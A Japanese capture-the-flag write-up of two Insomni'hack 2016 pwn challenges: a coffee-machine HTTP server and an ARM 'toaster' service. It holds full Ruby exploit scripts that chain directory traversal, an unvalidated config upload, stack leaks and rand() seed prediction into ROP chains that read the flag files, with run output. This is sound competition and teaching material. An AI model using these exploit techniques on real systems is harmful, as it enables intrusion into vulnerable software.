Insomni'hack teaser 2016 writeup
Insomni'hack teaser 2016にscryptosで参加しました。
チームで1250pts入れて8位、
私は2問解いて450pts入れました(*´ω`*)
今回のCTFは「問題を解いたら部屋の中のIoT製品が壊れる」というシステムになっていて、
競技終了後の部屋の様子がカオスでした……。
解けた問題のwriteupを置いておきます(`・ω・´)
rbaced1 (pwn 200)
This coffee machine can be controlled from your smartphone.
We can't provide the app itself, however we found the HTTP server running on the machine... which seems to be *very* crappy and subject to several lame vulnerabilities.
Since the binaries can't be recompiled, administrators have attempted to harden the system with grsecurity...
Read /flag_part1 to get the flag for part I. [200pts]
Run /getflag_part2 to get the flag for part II. [300pts]
コーヒーメーカーをスマホから操作するための、Cで書かれたWebアプリ。
Home
サービスの紹介ページ
Preferences
コーヒーの種類や砂糖・ミルクの量を個人設定に保存するためのページ
Order coffee
コーヒーを注文するためのページ
渡されたアーカイブファイルを展開すると以下のファイルが出てくる。
/ │ README │ ├─etc │ ├─grsec │ │ │ policy │ │ │ │ │ └─roles │ │ ├─groups │ │ └─users │ │ authenticator │ │ rbaced │ │ │ ├─sysctl.d │ │ 05-grsecurity.conf │ │ │ └─xinet.d │ authenticator │ ├─home │ ├─authenticator │ │ authenticator │ │ creds_db.txt │ │ │ └─rbaced │ │ rbaced │ │ rbaced.conf │ │ │ └─www │ │ index.html │ │ │ ├─cgi-bin │ │ order │ │ preferences │ │ │ ├─static │ │ (画像とかCSSとか) │ │ │ └─userdata ├─lib │ └─x86_64-linux-gnu │ libc.so.6 │ └─usr └─src config-4.3.3-grsec linux-image-4.3.3-grsec.deb
ざっとファイルを眺めてみると
/home/rbaced/rbaced
- HTTPサーバのバイナリ
/home/authenticator/authenticator
/home/rbaced/www/preferences
- preferencesページの処理を行うバイナリ
- POSTで渡されたデータを
/home/rbaced/www/userdata/[SHA1(env(HTTP_AUTHORIZATION) + remote_ip)]/pref.txt
に保存 - 渡されたデータの検証をしておらず、割と好きな内容のファイルが作れる
/home/rbaced/www/order
- orderページの処理を行うバイナリ
- preferencesで保存したデータを取得して出力するだけ
/etc/grsec/roles/users/*
- grsecurityの設定ファイル
ファイルの内容のうち、以下の設定が怪しそう- ユーザ rbacedに対して
/flag_part1
の読み取り許可 - ユーザ authenticatorに対して
/flag_part2
の読み取り許可 - ユーザ authenticatorに対して
/getflag_part2
の実行許可
- ユーザ rbacedに対して
- grsecurityの設定ファイル
という感じだった。
grsecurityの設定ファイルから、
と予想することができる。
ということでrbacedを解析し、主な挙動を調べた。
- 指定できる引数
- 非daemonモードの時
- 静的コンテンツを出力するためのモード
--file=filename
で指定されたファイル(指定されていない場合はgetenv("SCRIPT_NAME")
)の内容を出力
このとき、realpath(filename)
とgetenv("SERVER_ROOT")
の先頭が異なる場合は403エラーを返す(つまり、ここではディレクトリトラバーサルは不可)
- daemonモードの時
- HTTPサーバとして稼働
- URLのパスが
/cgi-bin/
で始まる場合はBasic認証を要求し、クエリ文字列を引数argv, いろいろ設定した環境変数をenvpとしてexecve(path, argv, envp)
を実行
ディレクトリトラバーサルの脆弱性がある - URLのパスが
/cgi-bin/
で始まらない場合、execve("rbaced", ["rbaced", NULL], envp)
を実行 - POSTのペイロードはexecveしたプログラムの標準入力に渡す
- execveしたプログラムの出力に"Content-Type: "と("\n\n" or "\r\n\r\n")が含まれている場合はexecveしたプログラムの出力をそのままクライアントに返し、そうでない場合は500エラーを返す
- パーセントエンコーディング使用可
ROPで制御を奪ってしまえば勝てそうなので、太字で書いた脆弱性を利用して
- preferencesを使い、フラグを出力させるROPをpref.txtに仕込む
/cgi-bin/../../rbaced?--daemon&--config=/path/to/our/pref.txt
にアクセスする- 2.で立ち上げたrbacedがpref.txtをロードするとROPが発動
という手順でフラグを取った。
#coding:ascii-8bit require_relative "../../pwnlib" require "uri" require "openssl" remote = true if remote host = "rbaced.insomnihack.ch" port = 8080 auth = "Basic <censored>" else host = "localhost" port = 54321 auth = "Basic aG9nZTpob2dl" end my_ip = <censored> # スタックにbssのアドレスを仕込み、リターンアドレスを静的コンテンツ出力部分のアドレスに書き換えるconfig def malicious_conf payload = "" payload << "User /flag_part1\n" # 上で指定したUserの内容はbssにコピーされるので、そのアドレスをスタックに仕込む 4.times{|i| payload << "A" * (0x427 - i) + "\n" } payload << "A"* 0x420 + [0x605b28].pack("L")[0...3] + "\n" # リターンアドレスを静的コンテンツ出力処理のアドレスに書き換え 4.times{|i| payload << "A" * (0x417 - i) + "\n" } payload << "A" * 0x410 + [0x40385e].pack("L")[0...3] + "\n" payload end # pref.txt作成 puts "[*] create malicious pref.txt" PwnTube.open(host, port){|tube| form_data = URI.encode_www_form({"sugar" => "hogehoge\n#{malicious_conf}"}) payload = "" payload << "POST /cgi-bin/preferences HTTP/1.1\r\n" payload << "Authorization: #{auth}\r\n" payload << "Content-Length: #{form_data.length}\r\n" tube.send(payload + "\r\n") sleep(1) tube.send(form_data) puts tube.recv_until_eof } # pref.txtロード・ROP発動 puts "[*] trigger ROP" PwnTube.open(host, port){|tube| if remote config_path = "/home/rbaced/www/userdata/" else config_path = "/home/charo/ctf/insomnihack_2016/rbaced/home/rbaced/www/userdata/" end config_path << OpenSSL::Digest::SHA1.hexdigest(auth + my_ip) + "/pref.txt" # スタックの底打ちを避けるため、パス名を長くしておく payload = "" payload << "GET /cgi-bin/../../#{"/"*0xe00}rbaced?--daemon&--config=#{config_path} HTTP/1.1\r\n" payload << "Authorization: #{auth}\r\n" tube.send(payload + "\r\n") puts tube.recv_until_eof }
$ ruby rbaced.rb [*] create malicious pref.txt [*] connected HTTP/1.1 200 OK Server: rbaced HTTP server 0.4 Connection: close Content-Type: text/html <!doctype html> <html> (snip) </html> [*] connection closed [*] trigger ROP [*] connected HTTP/1.1 200 OK Server: rbaced HTTP server 0.4 Connection: close Content-Length: 28 Content-Type: text/plain INS{We need to ROP deeper!} [*] connection closed
FLAG: INS{We need to ROP deeper!}
toasted (pwn 250)
Welcome to Internet of Toaster! This next-gen piece of art is awaiting you!
Pwn it on toasted.insomnihack.ch:7200 and read the /flag !
FYI Runs chrooted so forget about your execve shellcodes.
$ ./qemu-arm toasted Welcome to Internet of Toaster! Featuring "Random Heat Distribution" (patent pending) Passphrase : How Large Is A Stack Of Toast? Access granted! This next-gen toaster allows for 256 slices of bread ! It also has a small tank of replacement bread if you burn one, which is a huge improvement over the netbsd-based models! Which slice do you want to heat? 1 Toasting 1! Which slice do you want to heat? 2 Toasting 2! Which slice do you want to heat? 3 Toasting 3! Which slice do you want to heat? q Well, you've had your toasting frenzy! Cheers
「256枚のパンを並列で焼けるトースター」がテーマのARM問。
主な仕様はこんな感じ。
- 最初に、256枚のパンの「焼け具合」を0に初期化する(「焼け具合」はスタック上にある
unsigned char[256]
で管理) argc > 1
の場合、デバッグモードが有効になる(当然リモートでは有効になっていない)/dev/urandom
から取った4バイトを乱数の種にする(この値はスタック上に保持)- 以下の処理を260回ループ
- 256枚のうち、好きなパンを1枚選んで加熱し(ただし加熱量は
rand() & 0xff
で決定)、加熱量を「焼け具合」に加算する - 「焼け具合」が256以上になった(=焦げた)場合、そのパンは自動的に廃棄され、「焼け具合」が0の新しいパンに交換される
- パンを4枚焦がすと強制終了
- 数字の代わりに"q"か"x"を入力すると終了する
- デバッグモードが有効の時、各パンの焼け具合が出力される
- 256枚のうち、好きなパンを1枚選んで加熱し(ただし加熱量は
ARMバイナリを読むのが面倒だったので、これを放置してrbacedを読んでいたところ、n4nuプロがパンを選ぶ時に負数の入力が通るというバグを見つけた。
これを使うと、「焼け具合」の管理領域よりも上にある変数をランダムな数字で書き換えることができる。
$ ./qemu-arm toasted Welcome to Internet of Toaster! Featuring "Random Heat Distribution" (patent pending) Passphrase : How Large Is A Stack Of Toast? Access granted! This next-gen toaster allows for 256 slices of bread ! It also has a small tank of replacement bread if you burn one, which is a huge improvement over the netbsd-based models! Which slice do you want to heat? -61 ←-61を指定するとデバッグモードが有効になる Toasting -61! Bread status: [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] Which slice do you want to heat? -60 ←-60を指定すると「焼け具合」の管理領域がずれる(管理領域を指すポインタの下位1バイト目が書き換わるため) Toasting -60! Detected bread overheat, replacing Bread status: ※管理領域がずれたのでスタックの内容がリークしている [ 10][ 0][ 0][ 0][ 96][182][ 6][ 0][ 0][ 0][ 0][ 0][ 23][155][ 0][ 0] [160][184][ 6][ 0][ 36][240][255][246][ 0][ 0][ 0][ 0][245][137][ 0][ 0] [ 0][208][ 4][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][208][208][ 4][ 0] [136][ 0][ 0][ 0][ 0][240][255][246][200][241][255][246][ 60][ 0][ 0][ 0] [ 72][240][255][246][113][138][ 0][ 0][ 0][ 0][ 0][100][ 0][240][255][246] [200][241][255][246][196][255][255][255][ 45][ 54][ 48][ 10][107][ 1][ 0][ 0] [104][151][123][112][ 2][ 0][ 0][ 0][ 7][129][224][ 0][ 0][ 0][ 0][ 0] [120][240][255][246][147][140][ 0][ 0][ 20][243][255][246][ 1][ 0][ 0][ 0] [ 7][129][224][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] [ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0][ 0] Which slice do you want to heat? q Well, you've had your toasting frenzy! Cheers
ここでリークした内容をlittle endianな32bit整数として見るといろいろわかる。
0000000a 0006b660 00000000 00009b17 0006b8a0 f6fff024 00000000 000089f5 0004d000 00000000 00000000 0004d0d0 00000088 f6fff000 f6fff1c8 0000003c f6fff048 00008a71 64000000 f6fff000 ←gdbで確認すると、スタックポインタは0x64000000の部分を指している f6fff1c8 ffffffc4 0a30362d 0000016b 707b9768 00000002 00e08107 00000000 ←0x00000002がパンを加熱した回数をカウントする変数 f6fff078 00008c93 f6fff314 00000001 ←0xf6fff078がスタックのアドレス, 0x8c93がmainへのリターンアドレス 00e08107 00000000 00000000 00000000 ←0x00e08107が乱数の種 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
スタック上の1バイトにrand() & 0xff
を加算できる仕様なので、リークした乱数の種を使って乱数を予測し、スタックにROPを仕込むことで任意コード実行に持ち込むことができる。
ということで、以下の手順で攻略した。
- "-61"を指定してデバッグモードを有効にする
- "-60"を指定して管理領域を指すポインタのアドレスをずらし、スタックの内容をリーク
- リークした乱数の種からバイナリと同じ乱数列を再現
- 以下を繰り返してスタックにROPを仕込む
- 予測した乱数がROPに必要な値なら、スタックのROP部分に書き込み
- いらない値ならスタックポインタ - 1の部分(0x00008a71の最上位バイト)に書き込み
- 関数呼び出しを行ったときのsaved pcがここに格納されるため、ここなら何回書き込んでもパンが焦げない
- 予測した乱数の最上位ビットが立っている場合、パンを加熱した回数をカウントする変数の最上位バイトにこの乱数を書き込んでおけばカウント変数が負になるため、「パンを加熱できるのは260回まで」という制限を回避することができる
- ROPの仕込みが終わったら"q"でループを抜け、ROP発動
#coding:ascii-8bit require "pwnlib" require "fiddle/import" module Libc extend Fiddle::Importer dlload "libc.so.6" extern "void srand(unsigned int)" extern "int rand()" end remote = true if remote host = "toasted.insomnihack.ch" port = 7200 else host = "localhost" port = 54321 end offset = { "ret" => 0xac63, "pop3ret" => 0xa867, "read" => 0x11730, "write" => 0x2c3f0, "open" => 0x11610 } def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0) payload = "" payload << [0x924b].pack("L") payload << [func, 0, arg1, arg2, arg3, 0, 1].pack("L*") payload << [0x923d].pack("L") payload << [0].pack("L") * 7 payload end # デバッグモードの出力をバイト列にパースするメソッド def parse_debug_msg(msg) msg.scan(/(?<=\[) *\d+(?=\])/).map(&:to_i).map(&:chr).join end prompt = "Which slice do you want to heat?\n" PwnTube.open(host, port){|tube| puts "[*] send passphrase" tube.recv_until("Passphrase : ") tube.send("How Large Is A Stack Of Toast?\n") # デバッグモードを有効にする puts "[*] enable debug mode" tube.recv_until(prompt) tube.send("-61\n") # 管理領域を指すポインタのアドレスをずらし、乱数の種・スタックアドレスをリーク puts "[*] leak random seed" tube.recv_until(prompt) tube.send("-60\n") stack = parse_debug_msg(tube.recv_until(prompt)) # スタックの状態がよくない場合はやりなおし if !stack.include?([0x8c93].pack("L")) puts "[!] retry" break end sp = stack.index([0x8c93].pack("L")) - 0x2c if sp + 0x38 + 48 > 256 puts "[!] retry" break end seed = stack[sp + 0x38...sp + 0x3c].unpack("L")[0] stack_address = stack[sp + 0x28...sp + 0x2c].unpack("L")[0] puts "seed = 0x%08x" % seed puts "stack address = 0x%08x" % stack_address # スタックにROP stagerを仕込む puts "[*] send rop stager" Libc.srand(seed) 2.times{Libc.rand} rop = "" rop << [offset["pop3ret"], 0, 0, 0].pack("L*") rop << call_func(offset["read"], 0, stack_address + 0x4c, 0x200) count = 1 << 31 # 次の乱数が使えそうな値なら使い、使えない値なら(handle_breadのsp - 1)の場所に書き込む。 # handle_breadのsp - 1はhandle_bread内で関数を呼び出したときのsaved-pcが入る場所なので、必ず0であることが保証できる while count != 0 finished = true rnd = Libc.rand & 0xff index = sp - 1 count = 0 for i in 0...rop.length if stack[sp + 0x2c + i] != rop[i] && rop[i] != "\0" finished = false count += 1 if ((stack[sp + 0x2c + i].ord + rnd) & 0xff) == rop[i].ord && index == sp - 1 index = sp + 0x2c + i end end end # 本来は260回までしか乱数を引けないが、カウント用の変数を負にしておけば実質無制限に乱数を引ける if index == sp - 1 && rnd >= 0x80 && stack[sp + 0x1f].ord < 0x80 index = sp + 0x1f end tube.send("#{index}\n") puts "#{index}(rest: #{count})" stack = parse_debug_msg(tube.recv_until(prompt)) # デバッグ出力用 puts stack.unpack("L*").each_slice(4).map{|a| a.map{|b| sprintf("%08x", b)}.join(" ")}.join("\n") end # ROP stagerを発動し、次のROP(open→read→write)を送る puts "[*] send next rop" tube.send("q\n") sleep(1) rop = "" rop << [offset["ret"]].pack("L") * 4 rop << call_func(offset["read"], 0, 0x6bf14, 6) # ファイル名読み込み用 rop << call_func(offset["open"], 0x6bf14) rop << call_func(offset["read"], 4, 0x6bf14, 32) rop << call_func(offset["write"], 1, 0x6bf14, 32) rop << [0x8965].pack("L") # exit raise if rop.length > 0x200 tube.send(rop) # ファイル名送信 puts "[*] send filename" sleep(1) tube.send("/flag\0") tube.interactive }
$ ruby toasted.rb [*] connected [*] send passphrase [*] enable debug mode [*] leak random seed seed = 0x2e0c57f0 stack address = 0x7ed74238 [*] send rop stager 39(rest: 15) 7ed74208 00008a71 78000000 7ed74200 7ed74388 00000027 0a0a3933 000000d9 73488991 d9000003 2e0c57f0 00000000 7ed74238 00008c93 7ed744d4 00000001 2e0c57f0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 (snip) 7(rest: 0) 7ed74208 00008a71 78000000 7ed74200 7ed74388 00000007 0a0a0a37 0000004e 73488991 d9000298 2e0c57f0 00000000 7ed74238 0000a867 7ed744d4 00000001 2e0c57f0 0000924b 00011730 00000000 00000000 7ed74284 00000200 00000000 00000001 0000923d 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 [*] send next rop [*] interactive mode INS{_-n0_pa1n_n0_ga1n-_} [*] end interactive mode [*] connection closed
FLAG:INS{_-n0_pa1n_n0_ga1n-_}